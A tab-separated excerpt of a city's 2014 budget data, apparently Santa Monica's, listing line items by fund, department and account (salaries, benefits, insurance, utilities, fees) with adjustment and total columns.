11674	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2014	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
11675	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	402260.0	PROPERTY INSURANCE	650.0	Charges for Service	2014	-2618477.0	0	0	0	0	0	-3069.0	0	0	0	0	0.0	-2621546.0
11676	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	533030.0	PROPERTY INSURANCE		 Supplies and Expenses	2014	357112.0	0	0	0	0	0	0.0	0	0	0	0	0.0	357112.0
11677	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533040.0	SPECIAL INSURANCE	806.0	 Supplies and Expenses	2014	3100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3100.0
11678	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400922.0	SPC ADMIN TRA	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	-108825	0	0	0	0.0	-108825.0
11679	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	1647.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1647.0
11680	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 ADMIN	610.0	Intergovernmental	2014	-923789.0	0	0	0	0	0	0.0	923789	0	0	0	0.0	0.0
11681	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	65268.0	0	0	0	0	0	0.0	0	0	0	0	0.0	65268.0
11682	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522180.0	BANK FEES	816.0	 Supplies and Expenses	2014	600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	600.0
11683	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522310.0	OFFICE SUPPLIES / EXPENSES	816.0	 Supplies and Expenses	2014	10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10000.0
11684	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	577040.0	AUDIT FEES	816.0	 Supplies and Expenses	2014	6000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6000.0
11685	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	578330.0	PORTABLE ADMIN FEES	816.0	 Supplies and Expenses	2014	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
11686	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	97331.0	0	0	0	0	0	0.0	0	0	0	0	0.0	97331.0
11687	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-4367.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-4367.0
11688	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522720.0	MILEAGE	804.0	 Supplies and Expenses	2014	1086.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1086.0
11689	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511748.0	DENTAL	804.0	Salaries and Wages	2014	1349.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1349.0
11690	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522540.0	ADVERTISING	804.0	 Supplies and Expenses	2014	10586.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10586.0
11691	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2014	2170.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2170.0
11692	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	560060.0	UNIFORMS AND MAINTENANCE		 Supplies and Expenses	2014	31406.0	0	0	0	0	0	0.0	0	0	0	0	0.0	31406.0
11693	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	578830.0	LLEBG GRANT	806.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	25368.74	25368.74
11694	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	36452.0	0	0	0	0	0	0.0	0	0	0	0	0.0	36452.0
11695	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2014	104.0	0	0	0	0	0	0.0	0	0	0	0	0.0	104.0
11696	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2014	1800.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1800.0
11697	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2014	150000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	150000.0
11698	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	400773.0	JONATHAN CLUB-IMPROVEMENTS	618.0	Rentals	2014	-75000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-75000.0
11699	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	566550.0	COMMUNITY FESTIVALS	810.0	 Supplies and Expenses	2014	2564.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2564.0
11700	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511560.0	CAPITALIZED LABOR		Salaries and Wages	2014	-55550.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-55550.0
11701	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	401110.0	TRAFFIC ACCIDENT HAZ MAT CLEAN	612.0	Charges for Service	2014	-5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-5000.0
11702	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	404320.0	PARAMEDIC SKILLED NURSING FEE	612.0	Charges for Service	2014	-3000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-3000.0
11703	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	408140.0	ABOVE GROUND TANK PROGRAM	612.0	Charges for Service	2014	-8364.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-8364.0
11704	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	578835.0	JAG 2010	806.0	 Supplies and Expenses	2014	2500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2500.0
11705	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	540590.0	EMPLOYEE RECOGNITION & APPRECI	804.0	 Supplies and Expenses	2014	660.0	0	0	0	0	0	0.0	0	0	0	0	0.0	660.0
11706	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2014	27904.0	0	0	0	0	0	0.0	0	0	0	0	0.0	27904.0
11707	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE		LIFE INSURANCE & AD & D		Salaries and Wages	2014	840.0	0	0	0	0	0	0.0	0	0	0	0	0.0	840.0
11708	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE		DISABILITY INSURANCE		Salaries and Wages	2014	2859.0	0	0	0	0	42	0.0	0	0	0	0	0.0	2901.0
11709	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	533240.0	PIER MAINTENANCE		 Supplies and Expenses	2014	401700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	401700.0
11710	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511748.0	DENTAL		Salaries and Wages	2014	4551.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4551.0
11711	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2014	47034.0	0	0	0	0	692	0.0	0	0	0	0	0.0	47726.0
11712	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE		LIFE INSURANCE & AD & D		Salaries and Wages	2014	535.0	0	0	0	0	0	0.0	0	0	0	0	0.0	535.0
11713	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	533260.0	NON-AVIATION MAINTENANCE		 Supplies and Expenses	2014	90768.0	0	0	0	0	0	0.0	0	0	0	0	0.0	90768.0
11714	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2014	3100.0	0	0	0	0	146	0.0	0	0	0	0	0.0	3246.0
11715	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2014	199930.0	0	0	0	0	0	0.0	0	0	0	0	0.0	199930.0
11716	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2014	760.0	0	0	0	0	0	0.0	0	0	0	0	0.0	760.0
11717	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	403632.0	BULLETPROOF VEST GRANT - 2013	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	0	-23372	0	0	0.0	-23372.0
11718	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2014	347774.0	0	0	0	0	5727	-62.0	0	0	0	0	0.0	353439.0
11719	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	5263.0	0	0	0	0	77	0.0	0	0	0	0	0.0	5340.0
11720	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522910.0	VEHICLES - FUELS / LUBRICATION		 Supplies and Expenses	2014	1550.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1550.0
11721	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE		DCAP		Salaries and Wages	2014	276.0	0	0	0	0	0	0.0	0	0	0	0	0.0	276.0
11722	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE		DISABILITY INSURANCE		Salaries and Wages	2014	2095.0	0	0	0	0	28	0.0	0	0	0	0	0.0	2123.0
11723	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	407290.0	FUEL SURCHARGE	650.0	Charges for Service	2014	-67958.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-67958.0
11724	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	476938.0	0	0	0	0	0	0.0	0	0	0	0	0.0	476938.0
11725	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2014	4754.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4754.0
11726	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2014	10428.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10428.0
11727	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		DISABILITY INSURANCE		Salaries and Wages	2014	4414.0	0	0	0	0	97	0.0	0	0	0	0	0.0	4511.0
11728	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522620.0	RENT	844.0	 Supplies and Expenses	2014	148717.0	0	0	0	0	0	0.0	0	0	0	0	0.0	148717.0
11729	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	405330.0	HOUSING PROPERTY RENTALS	618.0	Rentals	2014	-90000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-90000.0
11730	B1	IS	1	General Fund	310	FIRE	315	TRAINING		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2014	-2290.0	0	0	0	0	-458	0.0	0	0	0	0	0.0	-2748.0
11731	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES		EMPLOYEE HEALTH CONTRIBUTION	812.0	Salaries and Wages	2014	-16927.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-16927.0
11732	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-3768.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-3768.0
11733	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-4467.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-4467.0
11734	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-1977.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1977.0
11735	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2014	-5878.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-5878.0
11736	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-34919.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-34919.0
11737	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-231483.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-231483.0
11738	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	544110.0	PRINTED FORMS	816.0	 Supplies and Expenses	2014	3000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3000.0
11739	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2014	92884.0	0	0	0	0	0	0.0	0	0	0	0	0.0	92884.0
11740	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	808.0	 Supplies and Expenses	2014	42830.0	0	0	0	0	0	0.0	0	0	0	0	0.0	42830.0
11741	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522115.0	UTIL - LIGHT/POWER - PSF	808.0	 Supplies and Expenses	2014	423221.0	0	0	0	0	0	0.0	0	0	0	0	0.0	423221.0
11742	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522119.0	UTIL-ELEC-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2014	99023.0	0	0	0	0	0	0.0	0	0	0	0	0.0	99023.0
11743	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522139.0	UTIL-WATER-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2014	58370.0	0	0	0	0	0	0.0	0	0	0	0	0.0	58370.0
11744	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522825.0	FOOD PURCHASES	808.0	 Supplies and Expenses	2014	3000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3000.0
11745	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2014	22055.0	0	0	0	0	0	0.0	0	0	0	0	0.0	22055.0
11746	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533225.0	BLDG/STR MAINT-PSF	808.0	 Supplies and Expenses	2014	205000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	205000.0
11747	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533227.0	BLDG/STR MAINT-PARK BLDG	808.0	 Supplies and Expenses	2014	192200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	192200.0
11748	B1	IS	27	Resource Recovery & Recyc Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2014	-9527.0	0	0	0	0	0	0.0	0	0	9527	0	0.0	0.0
11749	B1	IS	33	Airport Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2014	-1708.0	0	0	0	0	0	0.0	0	0	1708	0	0.0	0.0
11750	B1	IS	37	Cemetery Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2014	-740.0	0	0	0	0	0	0.0	0	0	740	0	0.0	0.0
11751	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511490.0	OVERTIME	808.0	Salaries and Wages	2014	0.0	0	0	0	0	0	1020.0	0	0	0	0	0.0	1020.0
11752	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	194672.0	0	0	0	0	0	4023.64	0	0	0	0	0.0	198695.64
11753	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	2392.0	0	0	0	0	0	79.17	0	0	0	0	0.0	2471.17
11754	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EAP	808.0	Salaries and Wages	2014	731.0	0	0	0	0	0	0.0	0	0	0	0	0.0	731.0
11755	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-3500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-3500.0
11756	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511749.0	VISION	808.0	Salaries and Wages	2014	6417.0	0	0	0	0	0	54.17	0	0	0	0	0.0	6471.17
11757	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2014	8001.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8001.0
11758	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		DCAP	808.0	Salaries and Wages	2014	3504.0	0	0	0	0	0	25.0	0	0	0	0	0.0	3529.0
11759	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		EAP	808.0	Salaries and Wages	2014	4354.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4354.0
11760	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	578670.0	COORDINATED COMMUNITY OUTREACH	804.0	 Supplies and Expenses	2014	156396.0	0	0	0	0	0	0.0	0	0	0	0	0.0	156396.0
11761	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	571140.0	S+C HAP EXPANSION	816.0	 Supplies and Expenses	2014	214044.0	0	0	0	0	0	0.0	0	0	0	0	0.0	214044.0
11762	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	566810.0	TRANS & USE TAX-SMMUSD ALLOCAT	810.0	 Supplies and Expenses	2014	7517842.0	0	0	0	0	0	155442.0	0	0	0	0	0.0	7673284.0
11763	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-54295.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-54295.0
11764	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-34802.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-34802.0
11765	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2014	-621174.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-621174.0
11766	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2014	-305863.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-305863.0
11767	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2014	-20457.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-20457.0
11768	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511900.0	VACANCY SAVINGS	812.0	Salaries and Wages	2014	-62197.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-62197.0
11769	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	-382.0	0	0	0	0	0	382.0	0	0	0	0	0.0	0.0
11770	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	579250.0	GEOGRAPHIC INFORMATION SYSTEM	804.0	 Supplies and Expenses	2014	31000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	31000.0
11771	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2014	-10100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-10100.0
11772	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT		DCAP	816.0	Salaries and Wages	2014	1188.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1188.0
11773	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	522950.0	CNG FUEL	816.0	 Supplies and Expenses	2014	1506.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1506.0
11774	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	403720.0	SERIAL INEBRIATE GRANT ADMIN	610.0	Intergovernmental	2014	-26147.0	0	0	0	0	0	0.0	26147	0	0	0	0.0	0.0
11775	B1	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	577725.0	STEP UP SANCTUARY-CDBG	810.0	 Supplies and Expenses	2014	26282.0	0	0	0	0	0	0.0	0	0	0	0	0.0	26282.0
11776	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511748.0	DENTAL	804.0	Salaries and Wages	2014	7885.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7885.0
11777	B1	IS	27	Resource Recovery & Recyc Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	119994.0	119994.0
11778	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	405351.0	PRIVATE HAULER ANN. PERMIT FEE	650.0	Charges for Service	2014	-26636.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-26636.0
11779	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2014	41177.0	0	0	0	0	667	0.0	0	0	0	0	0.0	41844.0
11780	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT		UNEMPLOYMENT		Salaries and Wages	2014	1058.0	0	0	0	0	4	0.0	0	0	0	0	0.0	1062.0
11781	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT		EAP		Salaries and Wages	2014	209.0	0	0	0	0	0	0.0	0	0	0	0	0.0	209.0
11782	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	544090.0	MEDICAL/FIRST AID SUPPLIES		 Supplies and Expenses	2014	103.0	0	0	0	0	0	0.0	0	0	0	0	0.0	103.0
11783	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522110.0	UTIL - LIGHT / POWER	804.0	 Supplies and Expenses	2014	2415.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2415.0
11784	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402790.0	VAULT SALES	650.0	Charges for Service	2014	-63776.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-63776.0
11785	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556130.0	SOLD CASKETS	808.0	 Supplies and Expenses	2014	52000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	52000.0
11786	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556160.0	SOLD URNS	808.0	 Supplies and Expenses	2014	8713.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8713.0
11787	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		LIFE INSURANCE & AD & D		Salaries and Wages	2014	1493.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1493.0
11788	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522620.0	RENT	844.0	 Supplies and Expenses	2014	99145.0	0	0	0	0	0	0.0	0	0	0	0	0.0	99145.0
11789	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522720.0	MILEAGE	820.0	 Supplies and Expenses	2014	500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	500.0
11790	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522910.0	VEHICLES - FUELS / LUBRICATION		 Supplies and Expenses	2014	523.0	0	0	0	0	0	0.0	0	0	0	0	0.0	523.0
11791	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	544010.0	SPECIAL DEPARTMENT SUPPLIES		 Supplies and Expenses	2014	800.0	0	0	0	0	0	0.0	0	0	0	0	0.0	800.0
11792	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	577540.0	FARMERS' MKT SPECIAL EVENTS		 Supplies and Expenses	2014	29623.0	0	0	0	0	0	0.0	0	0	0	0	0.0	29623.0
11793	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	533030.0	PROPERTY INSURANCE	808.0	 Supplies and Expenses	2014	55666.0	0	0	0	0	0	0.0	0	0	0	0	0.0	55666.0
11794	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	533030.0	PROPERTY INSURANCE	804.0	 Supplies and Expenses	2014	862058.0	0	0	0	0	0	0.0	0	0	0	0	0.0	862058.0
11795	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 FRAUD RECOVERY	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	-45000	0	0	0	0.0	-45000.0
11796	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400885.0	SPC HAP NEW	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	-290481	0	0	0	0.0	-290481.0
